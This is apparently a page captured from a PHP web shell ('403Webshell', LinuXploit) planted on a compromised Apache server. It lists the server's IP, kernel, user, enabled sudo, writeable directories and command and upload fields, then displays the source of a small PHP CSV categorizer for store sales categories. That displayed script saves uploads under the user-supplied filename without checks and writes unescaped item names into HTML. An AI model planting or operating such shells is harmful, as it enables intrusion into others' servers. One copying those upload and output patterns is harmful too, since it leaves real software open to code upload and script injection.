403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/categorize/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/categorize/categorize.php4
<?php
session_start();

/* File paths */
$rules_file = __DIR__ . "/category_rules.json";
$map_file   = __DIR__ . "/item_map.json";
$uploads    = __DIR__ . "/uploads/";
$output     = __DIR__ . "/output/";

/* Ensure directories exist */
if (!is_dir($uploads)) mkdir($uploads, 0775, true);
if (!is_dir($output)) mkdir($output, 0775, true);

/* Load rules */
$rules = json_decode(@file_get_contents($rules_file), true);
if (!$rules || !is_array($rules)) {
    $rules = [
        "No Tax Grocery"   => [],
        "Grocery (Taxable)" => [],
        "Hardware"         => [],
        "Feed"             => [],
        "Oil"              => [],
        "Unleaded"         => [],
        "Diesel"           => [],
        "Off Road Diesel"  => [],
        "Misc"             => []
    ];
}

/* Load Item Map */
$item_map = json_decode(@file_get_contents($map_file), true);
if (!$item_map || !is_array($item_map)) {
    $item_map = [];
}

/* Categorize function */
function categorize_item($item, $rules, $map) {
    $lower = strtolower(trim($item));

    if (isset($map[$lower])) {
        return $map[$lower];
    }

    foreach ($rules as $category => $keywords) {
        foreach ($keywords as $kw) {
            $kw = trim($kw);
            if ($kw !== "" && strpos($lower, strtolower($kw)) !== false) {
                return $category;
            }
        }
    }

    return "Misc";
}

/* Upload handling */
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["csvfile"])) {

    $filename = basename($_FILES["csvfile"]["name"]);
    $target = $uploads . $filename;

    if (move_uploaded_file($_FILES["csvfile"]["tmp_name"], $target)) {

        $rows = array_map("str_getcsv", file($target));
        $header = array_shift($rows);

        $_SESSION["rows"]   = $rows;
        $_SESSION["header"] = $header;
        $_SESSION["file"]   = $target;

    } else {
        echo "<div style='color:red;font-weight:bold'>Error uploading file.</div>";
    }
}

$rows   = $_SESSION["rows"] ?? null;
$header = $_SESSION["header"] ?? null;

/* Export CSV */
if (isset($_POST["export_csv"])) {

    // VERY IMPORTANT � reload updated item_map.json
    $item_map = json_decode(@file_get_contents($map_file), true);
    if (!$item_map) { $item_map = []; }

    $rows   = $_SESSION['rows'];
    $header = $_SESSION['header'];

    // Add category column
    $header[] = "Category";

    $filename = "categorized_" . date("Y-m-d_Hi") . ".csv";
    $filepath = $output . $filename;

    $fp = fopen($filepath, "w");
    fputcsv($fp, $header);

    foreach ($rows as $r) {

        // ALWAYS use live updated mapping
        $item = $r[3];
        $cat  = categorize_item($item, $rules, $item_map);

        $r[] = $cat;
        fputcsv($fp, $r);
    }

    fclose($fp);

    $export_done = $filename;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CSV Categorizer</title>

<style>
body {
    font-family: Arial, sans-serif;
    background: #f5f5f5;
    padding: 20px;
}
.container {
    max-width: 950px;
    background: white;
    padding: 20px;
    margin: auto;
    border-radius: 10px;
    box-shadow: 0 0 10px #ccc;
}

.category-header {
    background: #333;
    color: white;
    padding: 10px;
    cursor: pointer;
    margin-top: 15px;
    border-radius: 5px;
}

.category-content {
    display: none;
    border: 1px solid #ccc;
    border-radius: 5px;
    padding: 10px;
    margin-bottom: 10px;
}

.cat-NoTaxGrocery       { background: #e8ffe8; }
.cat-GroceryTaxable     { background: #fff3d6; }
.cat-Hardware           { background: #e7f0ff; }
.cat-Feed               { background: #fffbe0; }
.cat-Oil                { background: #f3e8ff; }
.cat-Unleaded           { background: #ffe6ef; }
.cat-Diesel             { background: #e6fffb; }
.cat-OffRoadDiesel      { background: #f2f2f2; }
.cat-Misc               { background: #ffffff; }

table { width: 100%; border-collapse: collapse; margin-top: 10px; }
th, td { padding: 6px; border: 1px solid #ccc; }

.searchBox {
    margin: 15px 0;
    padding: 6px;
    width: 250px;
}
.success { background:#d9ffd9;padding:10px;margin-top:10px;border-radius:6px; }
</style>

</head>
<body>

<div class="container">

<h2>Upload CSV</h2>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="csvfile" required>
    <button type="submit">Upload & Process</button>
</form>

<?php if (!empty($export_done)): ?>
<div class="success">
    Export complete!  
    <a href="output/<?= $export_done ?>" download>Download <?= $export_done ?></a>
</div>
<?php endif; ?>

<?php if ($rows): ?>

<hr>
<h2>Preview & Categorize</h2>

<input type="text" id="searchBox" class="searchBox" placeholder="Search..." onkeyup="filterItems()">
<button onclick="resetSearch()">Reset</button>

<div id="categoriesContainer"></div>

<form method="post">
    <input type="hidden" name="export_csv" value="1">
    <button type="submit">Export Categorized CSV</button>
</form>

</div>

<script>
let rules = <?php echo json_encode($rules); ?>;
let item_map = <?php echo json_encode($item_map); ?>;
let rows = <?php echo json_encode($rows); ?>;
let categories = Object.keys(rules);

let openSections = {}; // Track which sections are open

/*** Build expandable category UI ***/
function buildUI() {
    let container = document.getElementById("categoriesContainer");
    container.innerHTML = "";

    let grouped = {};

    rows.forEach((r, idx) => {
        let item = r[3];
        let lower = item.toLowerCase();
        let cat = item_map[lower] ?? categorizeByRules(item);
        if (!grouped[cat]) grouped[cat] = [];
        grouped[cat].push({ row: r, index: idx });
    });

    categories.forEach(cat => {
        let safe = cat.replace(/[^A-Za-z0-9]/g,"");

        let header = document.createElement("div");
        header.className = "category-header";
        header.innerText = cat;

        let content = document.createElement("div");
        content.className = "category-content";

        content.style.display = openSections[cat] ? "block" : "none";

        header.onclick = () => {
            openSections[cat] = !openSections[cat];
            content.style.display = openSections[cat] ? "block" : "none";
        };

        let html = "<table><tr><th>Item</th><th>Category</th></tr>";
        (grouped[cat] || []).forEach(obj => {
            let item = obj.row[3];
            let lower = item.toLowerCase();
            let category = item_map[lower] ?? categorizeByRules(item);
            let safeClass = "cat-" + category.replace(/[^A-Za-z0-9]/g, "");

            html += "<tr class='"+safeClass+"'><td>"+item+"</td>" +
                    "<td><select onchange=\"changeCategory('"+lower+"', this.value)\">" +
                    categories.map(c => "<option "+(c===category?"selected":"")+">"+c+"</option>").join("") +
                    "</select></td></tr>";
        });

        html += "</table>";
        content.innerHTML = html;

        container.appendChild(header);
        container.appendChild(content);
    });
}

/*** Categorize using rules */
function categorizeByRules(item) {
    let lower = item.toLowerCase();
    for (let cat in rules) {
        for (let kw of rules[cat]) {
            if (kw && lower.includes(kw.toLowerCase())) {
                return cat;
            }
        }
    }
    return "Misc";
}

/*** Auto-save category mapping + keep sections open */
function changeCategory(itemLower, newCat) {

    fetch("autosave.php", {
        method: "POST",
        headers: { "Content-Type": "application/x-www-form-urlencoded" },
        body: "item=" + encodeURIComponent(itemLower) +
              "&category=" + encodeURIComponent(newCat)
    })
    .then(r => r.text())
    .then(() => {

        item_map[itemLower] = newCat;

        openSections[newCat] = true;

        buildUI();
    });
}

/*** Search filter */
function filterItems() {
    let term = document.getElementById("searchBox").value.toLowerCase();
    let tables = document.querySelectorAll(".category-content table");

    tables.forEach(tbl => {
        let rows = tbl.querySelectorAll("tr");
        rows.forEach((r, i) => {
            if (i === 0) return;
            let txt = r.cells[0].innerText.toLowerCase();
            r.style.display = txt.includes(term) ? "" : "none";
        });
    });
}

function resetSearch() {
    document.getElementById("searchBox").value = "";
    filterItems();
}

buildUI();
</script>

<?php endif; ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit